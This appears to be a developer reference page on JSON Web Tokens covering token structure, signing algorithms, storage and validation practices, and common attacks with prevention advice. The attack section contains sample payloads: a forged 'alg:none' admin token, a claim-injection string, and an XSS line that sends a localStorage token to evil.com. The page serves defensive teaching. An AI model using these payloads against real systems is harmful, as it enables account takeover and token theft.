{"alg":"HS256","typ":"JWT"} JWT — JSON Web Tokens
Interactive Decoder, Token Structure, Signing Algorithms, and Security Best Practices
A JSON Web Token (JWT) is a compact, URL-safe token format defined in RFC 7519 that represents claims between two parties. JWTs are the de-facto standard for stateless authentication in modern web applications — the server issues a signed token containing user identity and permissions, and the client presents it on every request. Unlike server-side sessions that require a centralized store (Redis, database), JWTs carry all the needed information within the token itself, making them ideal for distributed microservice architectures where any service can independently verify the token without a round-trip to an auth server. A JWT is typically 300-800 bytes and consists of three Base64URL-encoded parts separated by dots: Header, Payload, and Signature.
There are two related specifications: JWS (JSON Web Signature, RFC 7515) provides integrity protection — the token is signed but the payload is readable by anyone who Base64-decodes it. JWE (JSON Web Encryption, RFC 7516) provides confidentiality — the payload is encrypted and only readable by the intended recipient. When people say "JWT" they almost always mean JWS. Understanding the difference is critical: a JWS token does not hide its contents. Never put sensitive data (passwords, SSNs, API keys) in a JWS payload — anyone intercepting the token can read it.
Token Structure — Three Parts
Every JWT consists of three Base64URL-encoded segments separated by dots. Each part serves a distinct purpose in the token lifecycle. The header declares the algorithm, the payload carries the claims, and the signature ensures integrity.
{"sub":"1234567890","name":"John Doe","iat":1516239022} HMACSHA256(base64url(header) + "." + base64url(payload), secret) Registered Claims (RFC 7519 Section 4.1)
Interactive JWT Decoder
Paste any JWT below to decode it in real time. The three parts are color-coded: Header, Payload, Signature. This decoder runs entirely client-side — your tokens never leave your browser.
JWT Builder / Encoder
Build a JWT interactively. Configure the header and payload below — the encoded token updates in real time. Note: the signature is a structural placeholder since real signing requires a server-side secret key.
Token Expiration Calculator
Enter the iat (issued at) and exp (expiration) timestamps from a JWT payload to see human-readable dates, token lifetime, and whether the token is currently expired.
Signing Algorithms Comparison
JWT supports multiple signing algorithms. The choice of algorithm affects security, performance, and key management complexity. Here is a detailed comparison of the four most common algorithms.
HS256
SymmetricHMAC with SHA-256. Uses a single shared secret key for both signing and verification. The same key must be known by the token issuer and every service that needs to verify the token.
RS256
AsymmetricRSASSA-PKCS1-v1_5 with SHA-256. Uses an RSA private key for signing and the corresponding public key for verification. The public key can be freely distributed via JWKS (JSON Web Key Set) endpoints.
ES256
AsymmetricECDSA with P-256 curve and SHA-256. Uses elliptic curve cryptography for both signing and verification. Provides equivalent security to RSA with much smaller key sizes.
PS256
AsymmetricRSASSA-PSS with SHA-256. An improved RSA signature scheme using Probabilistic Signature Scheme (PSS) padding. Provably secure under the RSA assumption, unlike PKCS#1 v1.5.
Recommendation
For new projects: use ES256 for the best balance of security, performance, and token size. Use RS256 or PS256 when you need maximum compatibility with existing infrastructure. Use HS256 only for simple single-server setups where the signing and verifying entity is the same. Never use "alg":"none" in production.
Security Best Practices
JWTs are powerful but introduce unique security challenges. Follow these practices to avoid common pitfalls that lead to authentication bypasses, token theft, and privilege escalation.
Token Storage
- Immune to XSS — JavaScript cannot access the cookie
- Automatically sent with every request to the domain
- Set
SameSite=StrictorLaxto prevent CSRF - Set
Secureflag to require HTTPS - Set short
Max-Agefor session tokens
- Accessible to any JavaScript running on the page
- Single XSS vulnerability = full token theft
- Token persists even after tab/browser close (localStorage)
- No automatic expiration mechanism
- Must manually attach to every request via header
Token Size Considerations
JWTs grow with every claim you add. A typical access token should be under 1KB. Oversized tokens increase bandwidth, slow down every API call, and can exceed cookie size limits (4KB). Keep payloads lean:
- Store only essential claims in the token (user ID, roles, permissions)
- Use short claim names for custom claims
- Reference external data instead of embedding it (
"org_id": 42instead of full org object) - Consider splitting: short-lived access token (lean) + refresh token (separate)
- RS256/PS256 signatures add ~256 bytes; prefer ES256 (64 bytes) if size matters
Claim Validation
Verifying the signature is necessary but not sufficient. Every verifier must also validate the claims:
- exp — Reject expired tokens. Allow a small clock skew (30-60 seconds max)
- nbf — Reject tokens used before their "not before" time
- iss — Verify the issuer matches your expected auth server
- aud — Verify the audience includes your service. A token for Service A must not be accepted by Service B
- alg — Whitelist allowed algorithms. Never accept "none" or unexpected algorithms
- iat — Optionally reject tokens issued too far in the past
Key Rotation
Signing keys should be rotated regularly (every 30-90 days) and immediately if compromised. Proper rotation requires overlap periods:
- Publish new public key in JWKS endpoint before signing with the new private key
- Include
kid(Key ID) in JWT header to identify which key was used - Keep old public keys in JWKS for the max token lifetime after rotation
- Verifiers should cache JWKS and refresh periodically (every 5-15 minutes)
- Use automated rotation tools (AWS KMS, HashiCorp Vault, Auth0 key rotation)
- For symmetric keys (HS256): coordinate secret rotation across all services simultaneously
Common JWT Attacks
Understanding attack vectors is essential for building secure JWT implementations. These are the most frequently exploited vulnerabilities in real-world JWT deployments.
"none" Algorithm Attack
How it works: The attacker modifies the JWT header to set "alg":"none" and removes the signature. Vulnerable libraries accept the unsigned token as valid, skipping signature verification entirely.
{"alg":"none","typ":"JWT"}.{"sub":"admin","role":"superuser"}. Prevention: Never accept "alg":"none". Maintain a strict whitelist of allowed algorithms. Use JWT libraries that reject "none" by default (most modern libraries do). Always verify the signature even when the algorithm is not in your whitelist — reject with an error, do not skip verification.
Key Confusion / Algorithm Switching
How it works: The server is configured with RS256 (asymmetric) and publishes its RSA public key. The attacker changes the header to "alg":"HS256" and signs the token using the RSA public key as the HMAC secret. If the server naively reads the "alg" from the token header, it uses the public key as the HMAC secret — and the signature validates.
Header: {"alg":"HS256"} // Changed from RS256
Signed with: RSA_PUBLIC_KEY used as HMAC secret Prevention: Never trust the "alg" claim from the token header to select the verification algorithm. Configure the expected algorithm on the server side and reject tokens that specify a different algorithm. Use asymmetric-only configurations when possible.
Token Sidejacking
How it works: The attacker steals a valid JWT via XSS, network interception (MITM), or by accessing browser storage. Since JWTs are bearer tokens, anyone possessing a valid token can use it until it expires — there is no built-in mechanism to revoke individual tokens.
// XSS payload to steal JWT from localStorage
fetch('https://evil.com/steal?t=' + localStorage.getItem('token')) Prevention: Store tokens in HttpOnly cookies (immune to XSS). Use short expiration times (5-15 minutes for access tokens). Implement token binding (DPoP — RFC 9449) to bind tokens to a client's key pair. Maintain a server-side revocation list or use short-lived tokens with refresh token rotation.
Claim Injection / Manipulation
How it works: If the application generates JWTs by concatenating user input into the payload without proper validation, an attacker can inject additional claims. For example, adding "role":"admin" to a registration payload that gets embedded directly into the token.
// User-controlled input merged into claims
{"name":"John\",\"role\":\"admin"} // JSON injection Prevention: Use structured JWT libraries that construct claims programmatically (never via string concatenation). Validate and sanitize all user input before including it in claims. The server should set role/permission claims from its own database, never from client input.
JWT vs Server-Side Sessions
JWTs and server-side sessions are both valid approaches to authentication. The right choice depends on your architecture, scale, and security requirements.
| Aspect | JWT (Stateless) | Server-Side Session |
|---|---|---|
| Storage | Client-side (cookie or header) | Server-side store (Redis, DB, memory) |
| Scalability | No shared state — any server can verify | Requires shared session store or sticky sessions |
| Revocation | Difficult — requires blacklist or short expiry | Instant — delete from session store |
| Size per Request | 300-800 bytes (entire token in every request) | ~32 bytes (session ID only) |
| Cross-Domain | Easy — send token to any domain | Requires CORS configuration, cookie sharing |
| Microservices | Each service verifies independently | Each service needs session store access |
| Offline Verification | Yes — only needs public key | No — always requires store lookup |
| Data Freshness | Stale until token expires and is re-issued | Always current — reads from store |
| Implementation | More complex (crypto, key management, rotation) | Simpler — framework built-in support |
| Best For | APIs, microservices, SPAs, mobile apps, SSO | Monoliths, server-rendered apps, when instant revocation is critical |
Base64URL Encode / Decode Utility
JWT uses Base64URL encoding (RFC 4648 Section 5) — a URL-safe variant of Base64 that replaces + with -, / with _, and omits padding =. Test the encoding and decoding below.